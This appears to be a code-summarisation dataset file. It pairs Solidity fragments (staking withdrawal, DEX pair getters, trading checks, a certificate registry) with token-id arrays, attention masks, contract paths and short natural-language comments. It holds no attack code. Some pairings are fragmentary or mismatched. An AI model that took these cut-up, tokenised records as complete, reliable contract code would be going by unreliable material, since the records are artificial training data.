function withdraw(uint256 _amount) external nonReentrant { require(startBlock > 0, "not initialized"); UserInfo storage user = userInfo[_msgSender()]; require(user.amount >= _amount, "Amount to withdraw too high"); _updatePool(); uint256 pending = user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt); if (_amount > 0) { user.amount = user.amount.sub(_amount); totalStaked = totalStaked.sub(_amount); stakedToken.safeTransfer(address(_msgSender()), _amount); emit Withdraw(_msgSender(), _amount); } if (pending > 0) { rewardToken.safeTransfer(address(_msgSender()), pending); emit RewardPaid(msg.sender, pending); } user.rewardDebt = user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR); }
12,614,806
[ 1, 1190, 9446, 384, 9477, 2430, 471, 3274, 19890, 2430, 225, 389, 8949, 30, 3844, 358, 598, 9446, 261, 267, 19890, 1345, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 5034, 389, 8949, 13, 3903, 1661, 426, 8230, 970, 288, 203, 3639, 2583, 12, 1937, 1768, 405, 374, 16, 315, 902, 6454, 8863, 203, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 3576, 12021, 1435, 15533, 203, 203, 3639, 2583, 12, 1355, 18, 8949, 1545, 389, 8949, 16, 315, 6275, 358, 598, 9446, 4885, 3551, 8863, 203, 203, 3639, 389, 2725, 2864, 5621, 203, 203, 3639, 2254, 5034, 4634, 273, 729, 18, 8949, 18, 16411, 12, 8981, 1345, 2173, 9535, 2934, 2892, 12, 3670, 26913, 67, 26835, 2934, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 1769, 203, 203, 3639, 309, 261, 67, 8949, 405, 374, 13, 288, 203, 5411, 729, 18, 8949, 273, 729, 18, 8949, 18, 1717, 24899, 8949, 1769, 203, 203, 5411, 2078, 510, 9477, 273, 2078, 510, 9477, 18, 1717, 24899, 8949, 1769, 203, 203, 5411, 384, 9477, 1345, 18, 4626, 5912, 12, 2867, 24899, 3576, 12021, 1435, 3631, 389, 8949, 1769, 203, 203, 5411, 3626, 3423, 9446, 24899, 3576, 12021, 9334, 389, 8949, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 9561, 405, 374, 13, 288, 203, 5411, 19890, 1345, 18, 4626, 5912, 12, 2867, 24899, 3576, 12021, 1435, 3631, 4634, 1769, 203, 203, 5411, 3626, 534, 359, 1060, 16507, 350, 12, 3576, 18, 15330, 16, 4634, 1769, 203, 3639, 289, 203, 203, 3639, 729, 18, 266, 2913, 758, 23602, 273, 729, 18, 8949, 18, 16411, 12, 8981, 1345, 2173, 9535, 2934, 2892, 12, 3670, 26913, 67, 26835, 1769, 203, 565, 2 ]
./full_match/97/0xA0FA3d6133657669CF03890c12c3aE1C48e641db/sources/contracts/sd/sd2.sol
recieves all the reserved pairs on the two main exchanges
function getPairs() external view returns (address first, address second){ return (uniswapV2Pair, secondV2Pair); }
5,039,535
[ 1, 3927, 1385, 3324, 777, 326, 8735, 5574, 603, 326, 2795, 2774, 431, 6329, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1689, 1826, 87, 1435, 3903, 1476, 1135, 261, 2867, 1122, 16, 1758, 2205, 15329, 203, 3639, 327, 261, 318, 291, 91, 438, 58, 22, 4154, 16, 2205, 58, 22, 4154, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0xDd46062Cc1771d6e65496F79117Cba9062fDc436/sources/project_/contracts/diamond/libraries/LibTrading.sol
Check that the current market is tradable price * qty * 10^18 / 10^(8+10) = price * qty The notional value must be greater than or equal to the minimum notional value allowed The notional value of the position must be less than or equal to the maximum notional value allowed by pair It is prohibited to open positions with excessive losses. Avoid opening positions that are liquidated The total position must be less than or equal to the maximum position allowed for the trading pair It is prohibited to open positions with excessive losses. Avoid opening positions that are liquidated The total position must be less than or equal to the maximum position allowed for the trading pair
function _openMarketCheck( TradingStorage storage ts, IBook.OpenDataInput calldata odi, IPairsManager.PairView memory pair, uint8 tokenInDecimals ) private view { checkTradeSwitch(ts, IBook.TradingSwitch.MARKET_TRADING); (uint marketPrice,) = LibPriceFacade.getPriceFromCacheOrOracle(odi.pairBase); uint trialPrice = slippagePrice(odi.pairBase, marketPrice, odi.qty, odi.isLong, pair.slippageConfig); require(marketPrice > 0 && trialPrice > 0, "LibTrading: No access to current market effective prices"); require( (odi.isLong && trialPrice <= odi.price) || (!odi.isLong && trialPrice >= odi.price), "LibTrading: Unable to trading at a price acceptable to the user" ); uint notionalUsd = trialPrice * odi.qty; require(notionalUsd >= ts.minNotionalUsd, "LibTrading: Position is too small"); LibPairsManager.LeverageMargin[] memory lms = pair.leverageMargins; require(notionalUsd <= lms[lms.length - 1].notionalUsd, "LibTrading: Position is too large"); LibPairsManager.LeverageMargin memory lm; for (uint i; i < lms.length;) { if (notionalUsd <= lms[i].notionalUsd) { lm = lms[i]; break; } unchecked { i++; } } * (10 ** Constants.USD_DECIMALS) / (10 ** (tokenInDecimals + Constants.PRICE_DECIMALS)) - notionalUsd * pair.feeConfig.openFeeP / Constants.BASIS_POINTS_DIVISOR; leverage_10000 <= uint(Constants.BASIS_POINTS_DIVISOR) * lm.maxLeverage, "LibTrading: Exceeds the maximum leverage allowed for the position" ); require( checkTp(odi.isLong, odi.takeProfit, trialPrice, leverage_10000, ts.maxTakeProfitP), "LibTrading: takeProfit is not in the valid range" ); require( checkSl(odi.isLong, odi.stopLoss, trialPrice), "LibTrading: stopLoss is not in the valid range" ); if (odi.isLong) { require( (trialPrice - marketPrice) * odi.qty * Constants.BASIS_POINTS_DIVISOR < trialMarginUsd * lm.initialLostP, "LibTrading: Too much initial loss" ); uint pairLongNotionalUsd = ts.pairPositionInfos[odi.pairBase].longQty * trialPrice; require(notionalUsd + pairLongNotionalUsd <= pair.maxLongOiUsd, "LibTrading: Long positions have exceeded the maximum allowed"); require( (marketPrice - trialPrice) * odi.qty * Constants.BASIS_POINTS_DIVISOR < trialMarginUsd * lm.initialLostP, "LibTrading: Too much initial loss" ); uint pairShortNotionalUsd = ts.pairPositionInfos[odi.pairBase].shortQty * trialPrice; require(notionalUsd + pairShortNotionalUsd <= pair.maxShortOiUsd, "LibTrading: Short positions have exceeded the maximum allowed"); } }
3,264,407
[ 1, 1564, 716, 326, 783, 13667, 353, 1284, 17394, 6205, 225, 26667, 225, 1728, 66, 2643, 342, 1728, 29020, 28, 15, 2163, 13, 273, 6205, 225, 26667, 1021, 486, 285, 287, 460, 1297, 506, 6802, 2353, 578, 3959, 358, 326, 5224, 486, 285, 287, 460, 2935, 1021, 486, 285, 287, 460, 434, 326, 1754, 1297, 506, 5242, 2353, 578, 3959, 358, 326, 4207, 486, 285, 287, 460, 2935, 635, 3082, 2597, 353, 450, 29993, 358, 1696, 6865, 598, 23183, 688, 24528, 18, 17843, 10890, 6865, 716, 854, 4501, 26595, 690, 1021, 2078, 1754, 1297, 506, 5242, 2353, 578, 3959, 358, 326, 4207, 1754, 2935, 364, 326, 1284, 7459, 3082, 2597, 353, 450, 29993, 358, 1696, 6865, 598, 23183, 688, 24528, 18, 17843, 10890, 6865, 716, 854, 4501, 26595, 690, 1021, 2078, 1754, 1297, 506, 5242, 2353, 578, 3959, 358, 326, 4207, 1754, 2935, 364, 326, 1284, 7459, 3082, 2, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0 ]
[ 1, 565, 445, 389, 3190, 3882, 278, 1564, 12, 203, 3639, 2197, 7459, 3245, 2502, 3742, 16, 203, 3639, 467, 9084, 18, 3678, 751, 1210, 745, 892, 320, 3211, 16, 203, 3639, 2971, 1826, 87, 1318, 18, 4154, 1767, 3778, 3082, 16, 203, 3639, 2254, 28, 1147, 382, 31809, 203, 565, 262, 3238, 1476, 288, 203, 3639, 866, 22583, 10200, 12, 3428, 16, 467, 9084, 18, 1609, 7459, 10200, 18, 12693, 1584, 67, 4349, 30118, 1769, 203, 203, 3639, 261, 11890, 13667, 5147, 16, 13, 273, 10560, 5147, 12467, 18, 588, 5147, 19800, 1162, 23601, 12, 369, 77, 18, 6017, 2171, 1769, 203, 3639, 2254, 12950, 5147, 273, 272, 3169, 2433, 5147, 12, 369, 77, 18, 6017, 2171, 16, 13667, 5147, 16, 320, 3211, 18, 85, 4098, 16, 320, 3211, 18, 291, 3708, 16, 3082, 18, 87, 3169, 2433, 809, 1769, 203, 3639, 2583, 12, 27151, 5147, 405, 374, 597, 12950, 5147, 405, 374, 16, 315, 5664, 1609, 7459, 30, 2631, 2006, 358, 783, 13667, 11448, 19827, 8863, 203, 3639, 2583, 12, 203, 5411, 261, 369, 77, 18, 291, 3708, 597, 12950, 5147, 1648, 320, 3211, 18, 8694, 13, 747, 16051, 369, 77, 18, 291, 3708, 597, 12950, 5147, 1545, 320, 3211, 18, 8694, 3631, 203, 5411, 315, 5664, 1609, 7459, 30, 18640, 358, 1284, 7459, 622, 279, 6205, 14206, 358, 326, 729, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 486, 285, 287, 3477, 72, 273, 12950, 5147, 380, 320, 3211, 18, 85, 4098, 31, 203, 3639, 2583, 12, 902, 285, 287, 3477, 72, 2 ]
./partial_match/1/0x9156c5a5d82580b2D00eD40C6B43414f966Ec516/sources/MultichainProvider.sol
Run the crosschain transfer
IAnyswapV5Router(routerAddress).anySwapOutUnderlying(anyTokenAddress, destinationAddr, transferAmount, destinationChainId);
9,377,887
[ 1, 1997, 326, 6828, 5639, 7412, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 467, 979, 1900, 91, 438, 58, 25, 8259, 12, 10717, 1887, 2934, 2273, 12521, 1182, 14655, 6291, 12, 2273, 1345, 1887, 16, 2929, 3178, 16, 7412, 6275, 16, 2929, 3893, 548, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x15480f5B5ED98A94e1d36b52Dd20e9a35453A38e/sources/contracts/p1/mixins/RecollateralizationLib.sol
At this point doTrade _must_ be true, otherwise nextTradePair assumptions are broken
assert(doTrade);
4,999,780
[ 1, 861, 333, 1634, 741, 22583, 389, 11926, 67, 506, 638, 16, 3541, 1024, 22583, 4154, 6287, 573, 854, 12933, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1815, 12, 2896, 22583, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x22f1c2238c77698d95d2bf09442C289e26093169/sources/LANDAuction.sol
Process funds (burn or forward them)
_processFunds(bidId, _fromToken);
4,120,702
[ 1, 2227, 284, 19156, 261, 70, 321, 578, 5104, 2182, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 2567, 42, 19156, 12, 19773, 548, 16, 389, 2080, 1345, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.11; //"0x64C222d300d5f978D9867fA20C5C59b6B2c849aF","9F86D081884C7D659A2FEAA0C55AD015A3BF4F1B2B0B822CD15D6C15B0F00A08","1","0" contract CertiMe { // Defines a new type with two fields. struct Certificate { string certHash; address issuer_addr; address recepient_addr; string version; string content; } uint numCerts; mapping (uint => Certificate) public certificates; mapping (string => Certificate) certHashKey; function newCertificate(address beneficiary, string certHash, string version, string content ) public returns (uint certID) { certID = ++numCerts; // campaignID is return variable // Creates new struct and saves in storage. We leave out the mapping type. certificates[certID] = Certificate(certHash,msg.sender,beneficiary, version,content); certHashKey[certHash]=certificates[certID]; } /* function contribute(uint campaignID) public payable { Campaign storage c = campaigns[campaignID]; // Creates a new temporary memory struct, initialised with the given values // and copies it over to storage. // Note that you can also use Funder(msg.sender, msg.value) to initialise. c.funders[c.numFunders++] = CertIssuer({addr: msg.sender, amount: msg.value}); c.amount += msg.value; } */ /* function certHashExist(string value) constant returns (uint) { for (uint i=1; i<numCerts+1; i++) { if(stringsEqual(certificates[i].certHash,value)){ return i; } } return 0; }*/ function getMatchCountAddress(uint addr_type,address value) public constant returns (uint){ uint counter = 0; for (uint i=1; i<numCerts+1; i++) { if((addr_type==0&&certificates[i].issuer_addr==value)||(addr_type==1&&certificates[i].recepient_addr==value)){ counter++; } } return counter; } function getCertsByIssuer(address value) public constant returns (uint[]) { uint256[] memory matches=new uint[](getMatchCountAddress(0,value)); uint matchCount=0; for (uint i=1; i<numCerts+1; i++) { if(certificates[i].issuer_addr==value){ matches[matchCount++]=i; } } return matches; } function getCertsByRecepient(address value) public constant returns (uint[]) { uint256[] memory matches=new uint[](getMatchCountAddress(1,value)); uint matchCount=0; for (uint i=1; i<numCerts+1; i++) { if(certificates[i].recepient_addr==value){ matches[matchCount++]=i; } } return matches; } function getMatchCountString(uint string_type,string value) public constant returns (uint){ uint counter = 0; for (uint i=1; i<numCerts+1; i++) { if(string_type==0){ if(stringsEqual(certificates[i].certHash,value)){ counter++; } } if(string_type==1){ if(stringsEqual(certificates[i].version,value)){ counter++; } } if(string_type==2){ if(stringsEqual(certificates[i].content,value)){ counter++; } } } return counter; } function getCertsByProof(string value) public constant returns (uint[]) { uint256[] memory matches=new uint[](getMatchCountString(0,value)); uint matchCount=0; for (uint i=1; i<numCerts+1; i++) { if(stringsEqual(certificates[i].certHash,value)){ matches[matchCount++]=i; } } return matches; } function getCertsByVersion(string value) public constant returns (uint[]) { uint256[] memory matches=new uint[](getMatchCountString(1,value)); uint matchCount=0; for (uint i=1; i<numCerts+1; i++) { if(stringsEqual(certificates[i].version,value)){ matches[matchCount++]=i; } } return matches; } function getCertsByContent(string value) public constant returns (uint[]) { uint256[] memory matches=new uint[](getMatchCountString(2,value)); uint matchCount=0; for (uint i=1; i<numCerts+1; i++) { if(stringsEqual(certificates[i].content,value)){ matches[matchCount++]=i; } } return matches; } /* function getCertIssuer(string key) constant returns (address,address,string,string) { return (certHashKey[key].issuer_addr,certHashKey[key].recepient_addr,certHashKey[key].version,certHashKey[key].content); } */ function stringsEqual(string storage _a, string memory _b) internal constant returns (bool) { bytes storage a = bytes(_a); bytes memory b = bytes(_b); if (a.length != b.length) return false; // @todo unroll this loop for (uint i = 0; i < a.length; i ++) if (a[i] != b[i]) return false; return true; } }
function getCertIssuer(string key) constant returns (address,address,string,string) {
return (certHashKey[key].issuer_addr,certHashKey[key].recepient_addr,certHashKey[key].version,certHashKey[key].content);
12,690,578
[ 1, 915, 1927, 1051, 16667, 12, 1080, 498, 13, 5381, 1135, 261, 2867, 16, 2867, 16, 1080, 16, 1080, 13, 288, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
